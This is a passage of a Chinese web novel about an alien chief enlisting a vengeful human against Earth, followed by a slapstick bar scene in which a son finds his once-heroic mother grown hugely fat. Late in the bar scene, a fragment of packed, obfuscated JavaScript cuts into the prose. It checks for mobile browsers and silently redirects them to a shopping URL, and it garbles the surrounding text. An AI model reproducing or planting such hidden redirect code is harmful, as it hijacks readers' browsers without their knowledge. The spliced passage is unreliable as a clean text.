锥形的、长形的、等腰的、锐角的、钝角的,穹顶中间有巨大的三角,而他此刻正站在地面的三角形里,墙面也有三角图案。 就连那些分辨不出用途的器物,桌椅也好,台架也罢,全都带着某种执拗的三角形倾向。 慕秉持长这么大,第一次看到这么多三角形。 哪怕地球的建筑学家,或者对几何图形再熟悉的人,一辈子也不可能看到这种场景。 地球的三角形是有功能、有节制、有边界。 可很显然,眼前这个外星文明,把三角形当作信仰般的美学,想尽办法浇筑在方方面面。 空气里没有味道,干净得过分,却带着一种不属于地球的气息,压得人胸腔发闷。 砚止寻站在慕秉持身侧半步远的位置。 他抬手轻轻拂过一缕飘到眼前的发丝,动作自带凌驾于万物之上的从容与高贵,目光平静地扫过前方围拢过来的身影,唇轻启:“退下。” 话音落下的瞬间,数道身着作战服的晷宿人立刻停下了脚步。 慕秉持的目光落在这些人的头顶,微微一滞。 他们的发髻是一个竖立的三角形的发髻,但不是完全等边的,而是两侧的线条微微内收,在顶端汇成一个柔和的尖,底边则宽平,发髻的后方有金属托举,薄薄一层向上延伸,让那三角形的线条收得干净利落。 一支木簪横贯而过,颜色沉得发黑,纹路细密,刚好卡在三角中段偏下的位置。 木的温润、金属的冷感、头发的黑白交错,叠在一处,竟有种古怪的和谐。 慕秉持说不上来这是什么风格,像某种古老的东方发式被拆解重组,又加了一点现代科技感。 他现在更确定,这些外星人对三角形有强烈的崇拜。 晷宿人身形挺拔,面容与人类有七分相似,却少了人类的烟火气,眉眼间皆是冰冷的警惕,一双双深紫、浅紫、甚至发红的眼眸死死锁定在慕秉持身上,像是在看一件随时可能失控的危险品,又像是在审视一个闯入他们领地的低等生物。 慕秉持迎着那些冰冷的目光,没有丝毫畏惧,甚至微微勾起了唇角。 恨了太久,怨了太久,连死亡都不再可怕,这些外星生物的审视,对他而言不过是无关痛痒的风。 他不恨眼前这些陌生的星际生命,而是那颗蓝色星球上,亲手将他的光推入深渊,再踩进尘埃里的八十亿人类。 新闻里日复一日的污蔑,教科书里篡改得面目全非的历史,冷卓尧站在他面前的炫耀,整个世界为“铲除邪恶”而欢呼,那些画面在他脑海里刻了无数个日夜,每一次想起,都能将他仅剩的理智烧得一干二净。 人类欠他的,欠纪遇的,他要连本带利,全部讨回来。 “首领。” 一名身形稍高的晷宿下属上前一步,声音恭敬,打破了舰内的寂静,“地球方面传来讯息,有一名女性请求见您,她自称沈清竹,是地球上的原始女巫。” “原始女巫?” 砚止寻重复了一遍这四个字,他微微偏过头,看向身侧的慕秉持,目光依旧是那种评估物品的平静,“带他去休整区,清理干净,换一身晷宿的服饰。” “是。” 两名下属立刻应声,迈步走向慕秉持。 慕秉持没有反抗。 从他说出“成交”两个字的那一刻起,他就不再是那个困在牢房里的囚徒,而是砚止寻手里的刀和人质,反抗没有意义,他要向地球人复仇,让那些欢呼的人付出最惨痛的代价。 他跟着两名下属转身离去,没有回头。 砚止寻看着他的背影消失在通道尽头,才缓缓收回目光,看向方才汇报的下属,语气平淡:“带她来见我。” “是。” …… 星舰的会客区,没有多余的装饰,只有一张悬浮在半空的黑色座椅,椅座和椅背,像两块三角形,尖对尖地拼凑而成,砚止寻落座其上,长发垂落肩头,清贵冷漠,自带拒人于千里之外的压迫。 空气微微波动。 一道纤细的身影凭空出现在会客区的中央。 沈清竹是那种第一眼就足以惊艳所有人的女人。 没有繁复的服饰,只穿着一身酒红色的丝质长裙,勾勒出玲珑有致的身段。 长发微卷,松松地披在肩头,眼尾微微上挑,带着一种天生的妩媚与狡黠。 她的美带着浓烈的生命力,与砚止寻的清冷、慕秉持的死寂截然不同,她鲜活、张扬,又藏着深不见底的算计。 看到砚止寻的瞬间,沈清竹的眼睛亮了起来,她快步走上前,没有丝毫畏惧,径直伸出手,轻轻挽住了砚止寻的手臂,动作自然又亲昵,语气甜腻,带着毫不掩饰的崇拜:“首领。” 她仰头看着眼前的男人,目光里满是痴迷:“你要占领地球,我举双手双脚欢迎。等你拿下地球,你就是这颗星球上最强大的男人,这个世界都将匍匐在你的脚下。” 砚止寻没有动,任由她挽着自己的手臂,紫色的眼眸平静地落在她的脸上。 “你就是地球最后一位原始女巫。” 他用的是陈述句,不是疑问句。 沈清竹笑得更甜了,指尖轻轻划过砚止寻的衣袖,语气带着几分娇俏的得意:“没错哦,整个地球就剩我一个原始女巫了,算得上是珍稀保护物种,所以我现在主动来投靠你,可以吗?” 她说话间,目光扫过星舰内部,眼底的慕强之意更甚,没有一丝一毫对地球人的怜悯。 地球人的死活,与她无关。 在她的世界里没有种族,没有道义,只有强弱。 谁强,她就跟谁,谁能给她带来利益,她就依附谁。 地球的兴衰,人类的存亡,不过是强者博弈里的尘埃,不值得她多看一眼。 砚止寻看着她脸上那副谄媚又狡黠的笑容,薄唇微微动了动,没有说话。 下一秒,他抬起右手,手心张开,一道能量波动骤然从他掌心的设备炸开。 沈清竹只觉得手臂一麻,一股强大的斥力瞬间将她弹开,她根本来不及反应,身体就不受控制地向后倒去,重重摔在了冰冷的地面上。 酒红色的裙摆散开,像一朵凋零的花。 她疼得蹙起眉,却没有立刻起身,抬头看着砚止寻,眼底满是不解与错愕:“你干嘛?懂不懂什么叫怜香惜玉?” 砚止寻轻轻拍了拍自己被她挽过的手臂,动作慢条斯理,像是在拂去什么肮脏的尘埃,语气里带着毫不掩饰的不屑与淡漠:“地球从来不止人类一种智慧生命。只是人类太过狂傲,以主自居,无视其他族群的存在,而你虽不是人,却也太过狂妄。” 沈清竹趴在地上,心脏猛地一沉:“你什么意思?” 砚止寻没有看她,目光望向星舰外无垠的深空:“三个地球日前,我去见了地球的古战士一族,与他们的夜大人达成协议。他们不阻止我入侵地球,消灭人类,而我与他们互不侵犯。” 他顿了顿,缓缓收回目光,落在地上的沈清竹身上,平静得可怕,让沈清竹浑身发冷。 “协议里有一个条件。” 砚止寻的声音,一字一句清晰地传入沈清竹的耳中:“夜近赫告诉我,若遇到名为沈清竹的原始女巫,就地格杀。而我们晷宿人,是遵守协议的文明。” 话音落下的瞬间,砚止寻抬起了右手。 他的掌心中央,再次浮现出一抹极淡的银蓝色光芒,是晷宿人首领独有的能量武器,没有夸张的形态,刺眼的光芒。 沈清竹的脸色瞬间惨白。 她终于明白,自己的主动投靠,在对方眼里,不过是自投罗网。 夜近赫是她的死对头,要杀她不是秘密。 而眼前这个外星首领,不过是把她当成了协议里的一个祭品,一个随手可以抹杀的蝼蚁。 没有丝毫犹豫,沈清竹猛地从地上弹起,周身泛起一层淡淡的光晕,是原始女巫的空间瞬移异能。 她的身影瞬间在原地消失,只留下一道能量残影。 会客区恢复了寂静。 砚止寻缓缓收回右手,掌心的光芒消散,他依旧坐在悬浮座椅上,长发垂落,身姿清贵冷漠。 她跑了? 无所谓。 一个地球的原始女巫,于他而言不过是一只随时可以捏死的虫子,根本不值得他放在心上。 他的目标是地球八十亿人类。 至于沈清竹逃得了一时,逃不了一世。 …… 与此同时,星舰的休整区。 极简的房间内没有多余的家具,只有一处内嵌式的浴室,玻璃墙面泛着淡淡的柔光,里面放着晷宿人特制的清洁装置。 两名下属将慕秉持送到房间,教他如何使用清洁装置之后,就离开了。 门缓缓合上,将外界的一切隔绝在外。 慕秉持站在房间中央,沉默了片刻。 他抬手脱下身上的囚服。 布料滑落,露出线条流畅的身躯,肩背挺拔,腰腹紧实,只是在不显眼的位置,留着几道浅浅的疤痕。 在牢里,他为了让自己的头脑保持清楚,每天都在做俯卧撑,他要保持健康的身体。 他走进浴室。 门缓缓合上,室内中央悬浮着一台半透明的晷宿声波净体仪,没 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就在这时,空气毫无征兆地波动了一下。 一道酒红色的身影,凭空出现在浴室里。 他猛地睁开眼,看向突然出现的沈清竹,周身的气压瞬间降到冰点。 沈清竹就站在他面前几步远的位置,她双手背在身后,歪着头,目光肆无忌惮地落在慕秉持的身上,眼尾微微上挑,带着戏谑的笑意,语气甜腻又轻佻:“好久不见呀,身材还是这么好,这么久没见,想我吗?” 慕秉持的手指紧紧攥起:“滚出去。” 他对沈清竹,没有半点好感。 这个女人,自私狡猾、唯利是图,还想杀纪遇。 沈清竹却像是没听到他的呵斥,反而往前走了一步,笑意更浓:“干嘛对我这么凶?又不是我杀了纪遇,你迁怒我做什么?” 提到纪遇的名字,慕秉持的胸口猛地一闷。 他没有说话,只是用那双盛满恨意的眼睛,死死盯着沈清竹,像是要将她生吞活剥。 沈清竹却毫不在意,语气轻松,带着几分探究:“你真的要帮那个外星首领处理掉地球上的人类?要当人人喊打的球奸?” 慕秉持听笑了,带着极致的悲凉和疯狂,像是从地狱里爬出来的恶鬼。 “球奸?” 他重复这两个字,语气里满是不屑与轻蔑:“对我来说,这是个好词。” 沈清竹挑了挑眉,眼底闪过一丝兴味:“你对地球人,还真是够恨。为了一个死去的女人,让八十亿人给她陪葬,地球人会恨到把你碎尸万段。” “闭嘴。” 慕秉持的声音骤然压低,带着压抑到极致的愤怒,他往前走了一步:“你这个自私自利的邪恶女巫,没资格对我进行道德说教。你眼里只有强弱和利益,纪遇的牺牲你永远不懂,可地球人的卑劣,你比谁都清楚。” 沈清竹笑得花枝乱颤,没有丝毫被指责的恼怒,反而一脸赞同:“我可没有对你道德说教。我反倒觉得你做得棒极了。如果是我,我也会这么做,他们把地球搞成这个样子,早就该被清理,晷宿人说清理垃圾,也没毛病。” 她顿了顿,语气忽然变得意味深长:“只不过那个外星首领居然不让我加入,还想杀我。看来他想轻轻松松拿下地球,没那么容易了。” 慕秉持的眉头猛地一蹙。 他警惕地看着沈清竹,目光锐利,带着戒备:“你什么意思?” 这个女人不会说没有意义的话,她的每一句话都藏着算计。 沈清竹看着他警惕的模样,笑得更甜了,却没有解释,只是轻轻眨了眨眼,语气神秘:“你很快就会知道了。” 话音落下的瞬间,她周身再次泛起光晕。 身影一闪,彻底消失在浴室里。 慕秉持攥紧的拳头缓缓松开,却依旧能感受到心底那股翻涌的情绪。 没那么容易? 她想做什么? 不管她想做什么,都阻挡不了他复仇的决心。 谁都不行。 …… 寂静的山林里,空气微微波动。 沈清竹的身影,凭空出现在山顶的巨石上。 她站在高处,迎着夜风,长裙随风飘动,长发飞扬,美得惊心动魄。 她抬头,望向漆黑的夜空,目光穿透云层,嘴角缓缓勾起一抹狡黠,轻轻开口,声音在夜风里飘散:“纪遇,地球人又要完了,看来你该回来了。” 夜风呼啸,卷起她的声音,她消散在夜色里。 天空中,一颗遥远的星辰,忽然轻轻闪烁了一下。 像某种沉睡已久的存在,即将苏醒。 8. 第 8 章 一千六百光年外 加玛酒馆独立悬浮在加犸星系,栖身于第三颗主行星的轨道,不属于任何星域势力,也不受律法庇护,只有终年飘散的果酒甜腻气息、形态各异的外星生命,以及藏在每一处角落的荒诞故事。 酒馆的建筑形态,整体像一颗被啃得坑坑洼洼的紫色水晶。 内壁流淌着会随时变色的荧光黏液,天花板是透明的,抬头能看到漫天旋转的彩色星云、拖着长尾的流星。 场内没有统一的桌椅,有的生物趴在漂浮的岩块上喝酒,有的蜷缩在发光的菌菇伞盖下交易,还有的直接将身体融进墙壁的黏液里,只露出一颗脑袋晃来晃去。 种族更是千奇百怪。 长着八只眼、皮肤像磨砂玻璃的硅基人,正用触手卷着酒杯往管状嘴里灌酒。 浑身覆盖着淡蓝色绒毛、身形像猫咪却有三条尾巴的人,蹲在吧台舔舐会跳动的能量球。 头顶长着螺旋触角,身体透明到能看见内脏的气态生命体,穿着防护服,飘在半空与人交谈,声音像风往玻璃瓶灌入。 还有一群体型矮小,皮肤绿得发亮的地精类外星人,挤在角落赌着一颗颗闪烁的星际矿石,吵吵嚷嚷。 酒馆里装了通用翻译器,所以来到这里,只要不是过于生僻的语言,哪怕不同种族之间,基本都可以听懂对方在说什么。 酒馆里最特殊的存在,是一个曾经名震银河系,拯救过无数生命,解决过无数的星球的灾难,对地球情有独钟,如今却彻底活成了荒诞本身的女人。 慕星衍就是在这个时候,推开酒馆那扇由大型巨兽骨头制成的门,走了进来。 他身形挺拔,一身黑色服饰衬得肩宽腰窄,五官精致,鼻梁高挺,唇线清晰。 哪怕身处这群光怪陆离的外星生物中间,也依旧耀眼。 他在五光年外,意外听说纪遇在这里。 于是,慕星衍怀着满腔的思念与激动,马不停蹄地赶来了这里。 进门的瞬间,他的目光便急切地扫过全场,忽略了那些奇形怪状的外星人,光怪陆离的环境,一心只想找到那个他记忆里的女人。 很快,他的目光定格在酒馆偏左侧的位置。 那里站着一道纤细纤瘦的背影。 长发是柔和的黑色,松松地垂在肩头,身形劲瘦,穿着浅灰色的长开衫直到膝盖,腿上是一条黑色的长裤,哪怕只是一个背影,也透着一股熟悉到让他心脏狂跳的温柔气息,与他记忆力的纪遇模样一模一样。 慕星衍的呼吸瞬间停滞,眼眶猛地一热。 他离开快三年了。 日日夜夜的思念在这一刻彻底爆发,化作一股难以抑制的冲动,让他几乎是飞奔着朝着那道背影冲了过去。 他甚至没有多想,满心满眼都是失而复得的狂喜,冲到那道背影身后,声音因为激动而微微颤抖,带着浓浓的鼻音,一开口便是积压了三年的思念与委屈:“妈,我终于找到你了!” “我真的好想你啊,听说你在这里,我立刻赶来了!我们都好久没见了,刚开始还保持联系,可是后来我就跟你们断了联系,不是因为不想联系,是因为我不敢,因为我经历了太多的事。妈,现在终于见到你了,我要不吃不喝不睡,好好跟你说我经历的所有冒险。” 他的话像连珠炮一样,滔滔不绝,每一个字都藏着滚烫的思念,说到最后,声音都带上了一丝哽咽。 “妈,抱抱我。” 酒馆里的喧闹似乎都在这一刻安静了几分,周围几个外星人好奇地转过头,看着这个突然激动到失态的男人,八眼硅基人停下了喝酒的动作,管状嘴微微张开。 三条尾巴的外星人歪着脑袋。 藏在透明防护服里的气态生命体飘了过来,一脸看热闹的兴致。 就在这时,那道纤细背影,缓缓转过了头。 慕星衍的心跳瞬间提到了嗓子眼,眼神中充满了期待,想要看到那张他思念了无数次的脸。 下一秒,他脸上的激动、思念、温柔,瞬间僵住,凝固成了一片极致的尴尬。 映入眼帘的,根本不是他想象中母亲的容貌。 这是一个完完全全的外星女人。 她的脸是淡紫色的,皮肤光滑得像抛光的玉石,眼睛是一对竖瞳,金黄色,没有眼白,鼻子是两道细小的缝隙,嘴唇是淡蓝色的薄唇,除了身形背影相似,全身上下,没有任何一处和纪遇有关。 空气,死一般的寂静。 慕星衍保持着哽咽的表情,整个人像被按了暂停键,瞳孔微微放大,脸上的表情精彩到了极点,从狂喜到震惊,再到尴尬,最后化为一片手足无措的僵硬,耳根以肉眼可见的速度红透,一直红到了脖颈。 他张了张嘴,想要说什么,却发现喉咙像是被堵住了一样,只能傻傻地看着眼前这个陌生的外星女人,大脑一片空白。 紫色皮肤的外星女人,竖瞳微微眯起,上下打量了他一番,慢悠悠地开口:“我的孩子还在孵卵期。” 周围的外星人瞬间爆发出一阵哄堂大笑。 八眼硅基人用触手拍着桌子,管状嘴发出咕噜咕噜的笑声。 三条尾巴的生命甩得飞快,绒毛都笑炸了。 绿皮地精们更是吹起了口哨,起哄声此起彼伏。 慕星衍只觉得头皮发麻,尴尬得恨不得找个地缝钻进去,连忙往后退了两步,满脸通红:“对、对不起!真的非常抱歉!我认错人了,打扰到您了,实在不好意思!” 女人竖瞳里带着一丝笑意:“你是来找亲人的?” 慕星衍:“我找我的母亲,她是人类模样。” 女人:“这里很多都是人类的模样,你具体指的是哪种人类?哪个星球的人类?” “人类”在这里,已经不是专属于地球人类。 慕星衍挠了挠脑袋:“标准双足人形,肉身,无甲壳、无绒毛、无触角、无尾,五指,面部双目一口,肤色粉白,没有发光组织,名字叫纪遇。” “纪遇啊,你直接说这名字就行了,干嘛搞这么麻烦,这谁都认识他。” 洛兰星女人随即用一种很自然的语气,指了指酒馆最里面、被一群外星酒鬼围起来的角落:“那个死胖子在那边,你过去就能看到了。” “胖、死胖子?” 慕星衍彻底愣住了,怀疑自己的耳朵出了问题。 他一脸不可置信地看着洛兰星人,眼里写满了茫然与错愕:“什么死胖子?” 怎么可能? 他的母亲纪遇身姿纤细,瘦而不弱,可是无数次拯救星球的女人,要颜值有颜值,要武力有武力,要身材有身材,要智商有智商,怎么可能是死胖子? 一定是听错了! 一定是同名同姓的人! “对呀,就是那个胖得走一步路都晃三晃的女人。”洛兰星女人点了点头,语气肯定,“整个酒馆就她一个跟你长一样,除了她还能有谁?” 旁边一个绿皮地精凑了过来,露出一口黄牙,笑嘻嘻地补充:“小子,你妈可是我们酒馆的名人!一天能吃八顿,吃完就睡,睡完就拉,一哭起来整个酒馆都震三震!” “就是就是,她现在正跟天启在一起。” 慕星衍的心脏狠狠一沉。 天启? 他是星际神文明的顶级存在,拥有毁天灭地的超能力,也是母亲曾经的朋友,不过后来闹掰,天启一怒之下就不断的给母亲找麻烦,甚至要去毁灭地球,不过好在被母亲解决了。 慕星衍带着满心的疑惑、不安,以及一丝近乎荒谬的抗拒,顺着洛兰星人指的方向,一步步朝着酒馆角落走去。 每走一步,他的心跳就快一分。 靠近角落,一阵哭声突然传来,不是温柔的啜泣,委屈的低泣,而是那种泼妇撒泼一般的号啕大哭,声音沙哑又洪亮,震得周围的荧光黏液都在微微颤抖。 “天启!你不能走!你不准走!” “我们是朋友啊!你说过我们一辈子都是朋友的!” “你是不是还记恨我当年离开?我现在不走了,我要跟你在一起,你凭什么烦我!我不准你走!你今天敢走一步试试!” 那声音,带着浓浓的哭腔,又带着一股胡搅蛮缠的疯狂,刺耳又熟悉。 慕星衍的脚步猛地顿住。 这个声音…… 虽然沙哑,虽然疯癫,虽然充满了撒泼的意味,可……的确是他母亲纪遇的声音! 他僵硬地抬起头,朝着哭声来源望去。 下一秒,他整个人如遭雷击,彻底僵在原地,瞳孔剧烈收缩,大脑一片空白,所有的认知、所有的想象、所有关于母亲的美好记忆,在这一刻轰然崩塌,碎得连渣都不剩。 酒馆角落的地面上,跪着一个巨胖无比的女人。 她已经不能用“胖”来形容,而是臃肿、庞大、圆滚滚,像一个被吹到极致的巨型气球,又像一头浑身裹着肥肉的棕熊,体积足足是普通人类的五倍有余,浑身上下都堆满了层层叠叠的肥肉,下巴叠了三层,脖子完全陷进了肥肉里,手臂粗得像水桶,腿更是像两根粗壮的石柱,撑在地上微微发抖。 曾经那头轻盈柔顺的黑色长发,此刻乱糟糟地贴在满是肥肉的脸颊上,脸上沾满了泪水和鼻涕,一把鼻涕一把泪,模样狼狈到了极点,哪里还有半分救世主的风华绝代? 她正死死地抱着一个男人的大腿,肥肉因为用力而不断晃动,哭得撕心裂肺,整个人像一块甩不掉的巨型年糕,粘在对方身上,死活不肯松手。 而被她抱住大腿的男人,正是天启。 他穿着一身极其接地气、与神文明身份格格不入的浅灰色polo衫,下身是宽松的花格子大裤衩,头上扣着一顶黑色鸭舌帽,帽檐压得很低,遮住了大半张脸,只露出线条利落的下颌和微微抿起的薄唇,浑身散发着一股“我很烦”“离我远点”的暴躁气息。 作为神级文明的存在,天启拥有能够弹指间移动星球的超能力,此刻却被一个胖女人抱著大腿,动弹不得,脸上的不耐烦几乎要溢出来,眉头拧成了一个疙瘩,语气又气又无奈,带着满满的崩溃:“纪遇!你放开我!你这个死胖子!你到底有完没完!” “我不放!”纪遇哭得更凶了,肥肉一颤一颤的,双臂抱得更紧,脑袋直接埋在天启的大腿上,蹭得他的裤衩上全是眼泪鼻涕,“你以前不是说我们是最好的朋友吗?你还因为我当年离开,记恨了我那么久!现在我回来了,我要跟你在一起,你居然烦我了!你这个骗子!你不准走!我要你陪我,我要你成为我的依赖,你走了我就哭死在这里!” 天启气得鸭舌帽都歪了,伸手想去推她,却发现自己推在一堆软乎乎的肥肉上,根本使不上劲,越推她抱得越紧。 “烦死了!你看看你现在什么样子?除了吃就是睡,胖得走不动路,一天到晚黏着我,谁受得了你!死胖子!” “呜呜呜!”纪遇一边嗷嗷大哭,一边说道,“你歧视我,你身材歧视!” 天启咬牙切齿道:“我就歧视你了,怎么样?死胖子,死胖子,死胖子!” “我胖怎么了?我吃你家粮食了?”纪遇仰起满是肥肉的脸,理直气壮地哭嚎,“我就是要吃,就是要睡,就是要黏着你!你是我朋友,你就得管我!” “谁管你?你放开我!”天启的耐心彻底耗尽,语气变得凶狠,“死胖子,我最后说一遍,放开!再不放手我对你不客气了!” “我不放!打死我都不放!”纪遇像个撒泼的孩子,死死抱着他的腿,身体往后拽,一副你走我就被你拖死的架势。 周围的外星人全都围了过来,里三层外三层,看热闹看得津津有味,起哄声、笑声、议论声此起彼伏,整个酒馆都沸腾了。 八眼硅基人飘在最前面,八只眼睛一眨不眨地盯着现场,管状嘴不停发出惊叹,绿皮地精们更是挤到了最前面,拍手叫好,热闹得像过节。 天启被围得心烦意乱,又被纪遇抱得动弹不得,浑身的火气都上来了,猛地用力挣扎,想要把腿抽出来。 他这一挣,纪遇立刻死死拽住,整个人的重量都挂在了他的腿上。 就在这时,“哗啦”一声传来! 一声清脆又刺耳的撕裂声,在喧闹的酒馆里格外清晰。 时间仿佛在这一刻静止了。 所有人的笑声、起哄声、议论声,瞬间戛然而止,目光齐刷刷地落在天启的下半身。 因为纪遇死死的拖拽和天启剧烈的挣扎,他那条宽松的花格子大裤衩,直接被整个扯了下来,顺着大腿滑落到脚腕,露出了一片白白嫩嫩、光滑细腻、毫无瑕疵的肌肤。 天启的屁股,完完全全地露在了外面。 白白嫩嫩,圆润饱满,像婴儿的脸蛋,细腻得没有一丝纹路,在酒馆荧光黏液的照射下,甚至泛着一层淡淡的柔光。 整个酒馆,鸦雀无声。 所有外星人都瞪大了眼睛,一脸震惊地看着眼前这荒诞的一幕,彻底傻了眼。 慕星衍站在人群后面,眼睛瞪得像铜铃,嘴巴张得能塞下一个鸡蛋,整个人彻底石化,大脑彻底死机,完全无法处理眼前看到的画面。 他的母亲…… 把一个神的裤衩扯下来了? 还露出了这么……粉嫩的屁股? 而人群中,一个长着粉色绒毛、身形娇俏的女外星人,先是发出一声小小的惊呼,立刻伸出两只毛茸茸的小手,假装捂住自己的眼睛,一副“我没看我没看”的害羞模样。 可下一秒,她的手指就悄悄分开了一条大大的缝隙,两只圆溜溜的眼睛透过指缝,死死地盯着天启露出来的屁股,看得津津有味,一点都没有害羞的样子,反而满脸兴奋:“好光滑白嫩的屁屁。” 旁边的绿皮地精偷偷戳了戳她:“漏这么大的缝,你还捂着干什么?” 粉色绒毛女外星人理直气壮:“我这是礼貌性遮挡!” 周围的人在致命的安静之后,开始窃窃私语了起来。 “她居然扯掉了神的裤衩。” “原来神的屁股长这样。” “我要不要去亲一口。” 甚至有外星人对准天启的屁蛋,隔空撅起了嘴:“么么。” 纪遇抱着天启的腿,也愣住了。 她仰着满是肥肉的脸,眨巴着那双因为哭泣而红肿的眼睛,目光直直地落在天启露出来的、白白嫩嫩的屁股上,眼神呆滞,一脸茫然,像是没反应过来发生了什么。 白白嫩嫩…… 像婴儿的脸蛋…… 好光滑…… 她就这么眨巴着眼睛,一眨不眨地看着,肥肉还在微微颤抖,眼泪挂在下巴上。 天启:“……” 他整个神都僵住了。 作为神的顶级存在,作为抬手就能毁灭星系的神,作为无数种族敬畏的存在,此刻,他居然在全酒馆的外星人面前,被一个胖女人扯掉了裤衩,露出了屁股! 羞耻、愤怒、崩溃、无奈、尴尬…… 无数情绪瞬间涌上心头,让他这个神耳根红透了,整张脸黑得像锅底,鸭舌帽下的眼睛里满是生无可恋。 他是谁? 他在哪? 他为什么要承受这一切? 他是神啊! 是高高在上、俯瞰众生的神啊! 不是被人扯掉裤衩、露出屁股的搞笑小丑啊! 天启深吸一口气,压下心底翻涌的、想把整个酒馆炸掉的冲动,面无表情地抬起手,轻轻弹了一个响指。 “啪。” 一声轻响。 下一秒,那条被扯掉的花格子大裤衩,瞬间凭空回到了他的身上,严丝合缝,完好无损,仿佛刚才的一切都没有发生过。 天启缓缓低下头,看着依旧抱着他的腿,眨巴着眼睛发呆的纪遇,眼神里满是极致的冷漠和不耐烦,还有一丝彻底放弃治疗的疲惫。 他抬起脚,没有丝毫留情,对着纪遇那堆软绵绵的肥肉,狠狠一脚踹了过去。 “死胖子!” 一声闷响。 纪遇像一个被踢飞的巨型气球,整个人瞬间被踹得飞了出去,重重地摔在地上,发出“咚”的一声巨响,震得地面的胶质都凹陷下去一大块,周围的桌子椅子都晃了三晃。 不等她爬起来,天启周身泛起一层淡淡的金光,身影瞬间凭空消失,只留下空气中一丝属于神的清冷气息,以及满场的死寂。 直到天启彻底消失,纪遇才从地上爬起来,肥肉晃了晃,坐在地上,愣了两秒,随即嘴巴一瘪,“哇”的一声,再次放声大哭起来。 她哭得比刚才更凶,更惨烈,更像个撒泼的泼妇,趴在地上,双手拍打着地面,肥肉随着动作剧烈晃动,哭声震得酒馆的荧光黏液都在掉渣:“天启!你这个没良心的!你居然踹我!你居然丢下我走了!” “我不活了!我胖,我吃得多,我黏人,我有错吗?我只是需要陪伴啊!我不想一个人!呜呜呜……” “你回来!你给我回来!你不准走!” 她一边哭,一边在地上打滚,活脱脱一个撒泼耍赖的胖妇人,哪里有半分曾经救世主的影子? 周围的外星人再次爆发出哄堂大笑,议论声、起哄声再次响起,比刚才还要热闹。 忽然,纪遇抱着自己,抽抽搭搭地说:“我好孤独啊。” 接着,她又张开自己的双臂,面向众人,“谁来抱抱我,我需要安慰,给我一个肩膀,给我一个依靠。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373187|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在她话说到一半的时候,众人全都往后连连退了十几步。 纪遇就像一个核泄露点,周围寸草不生。 “啊啊!”纪遇又嗷嗷地大哭了起来,一边哭还有一边用拳头砸地面。 哭着哭着,她的余光不经意间一扫,恰好看到了站在人群边缘,彻底僵在原地,一脸生无可恋的慕星衍。 慕星衍此刻的心情,已经不能用崩溃来形容了。 他不愿意相信,他真的不愿意相信! 眼前这个巨胖无比、撒泼打滚、一把鼻涕一把泪、扯掉神的裤衩、被一脚踹飞的胖女人,是他的母亲纪遇! 是那个拯救星际、身姿纤细的救世主! 是他思念了三年的母亲! 这太荒诞了! 太离谱了! 太毁三观了! 一定是幻觉! 一定是他的大脑被辐射影响了! 一定是! 他看着眼前那个胖成球,撒泼打滚的女人,只觉得天旋地转,整个世界都崩塌,心底最后一丝关于母亲的美好幻想,彻底碎成了粉末。 他现在只有一个念头:跑! 立刻跑! 马上离开这个让他崩溃的地方! 就当从来没有来过! 就当从来没有找到过母亲! 他不认识什么纪遇。 反正他又不是纪遇十月怀胎生出来的,而是外星人提取她和慕秉持的基因制造出来的。 慕星衍猛地回过神,二话不说,转身就想往酒馆门口冲,恨不得立刻逃离这个荒诞到极致的地方。 可就在他转身的瞬间,一道尖锐又激动、带着浓浓的肥肉震动感的声音,猛地从身后炸响,穿透了整个酒馆的喧闹,直直地砸在他的耳朵里:“星衍!!!” 是纪遇的声音! 慕星衍的脚步瞬间僵住,像被钉在了原地,浑身的血液都仿佛凝固了。 他僵硬地、缓缓地、一点点地转过头,朝着声音来源望去。 下一秒,他再次惊呆了。 只见那个巨胖无比的女人,已经从地上爬了起来,肥肉晃了晃,一双眼睛死死地盯着他,那双眼眸,清澈、明亮、熟悉,的的确确是他母亲纪遇的眼睛,是他记忆里的眼睛。 可除了这双眼睛,全身上下,没有任何一处,能和他的母亲联系起来。 胖! 巨胖! 胖得像一头熊! 胖得走一步路都仿佛要地震! 慕星衍吓得浑身一哆嗦,本能地往后退了一步,心底升起一股强烈的恐惧。 他看到那个胖成球的女人,正朝着他狂奔而来! 是的! 狂奔! 纪遇看到自己的儿子,眼珠子都快要瞪出来了,脸上的泪水和鼻涕还没擦,就迈开那两根粗壮的石柱一般的腿,朝着慕星衍冲了过来。 她的体型太过庞大,每跑一步,地面就狠狠震动一下,“咚、咚、咚”的脚步声,像巨型战鼓在敲响。 桌上的酒杯、能量球、交易品,全都跳了起来,周围的外星人吓得纷纷往两边躲闪,惊呼连连。 “我的天!胖子跑起来了!地震了地震了!” “快躲开!别被她撞到!会被压扁的!” 有人吓得立刻飘到半空,有人直接钻进了菌菇伞盖下面,绿皮地精们抱头鼠窜。 慕星衍站在原地,眼睁睁地看着那个巨型胖球,以一种堪比百米冲刺的速度,朝着自己扑过来,他甚至能看到母亲脸上激动到扭曲的表情,感受到地面传来的剧烈震动,甚至那股扑面而来的,带着奶油甜腻气息的压迫感。 他想跑! 他真的想跑! 可他的腿像灌了铅一样,根本动不了! “星衍!妈妈好想你啊!!!!” 纪遇发出一声激动到极致的呐喊,纵身一跃,庞大的身躯在空中划出一道笨拙的弧线,朝着慕星衍狠狠扑了过来。 砰!!! 一声惊天动地的巨响。 慕星衍甚至来不及发出一声惊呼,就被一个巨型的、软乎乎的、沉甸甸的肉团,狠狠扑倒在地。 紧接着,一连串清晰无比的“咔嚓、咔啦、咔啦”声,在寂静的酒馆里,格外刺耳。 是骨头被压得发出的断裂错位声。 慕星衍只觉得浑身一沉,仿佛有一座万吨大山,狠狠砸在了自己的身上,五脏六腑都被压得移位,喉咙一甜,一股浓烈的血腥味瞬间涌上喉头。 他的脸瞬间涨得通红,青筋暴起,从额头到脖颈,一根根青筋狰狞地爆起,眼睛瞪得大大的,瞳孔微微收缩,整个人被压在厚厚的肥肉下面,连呼吸都做不到,更别说动弹分毫。 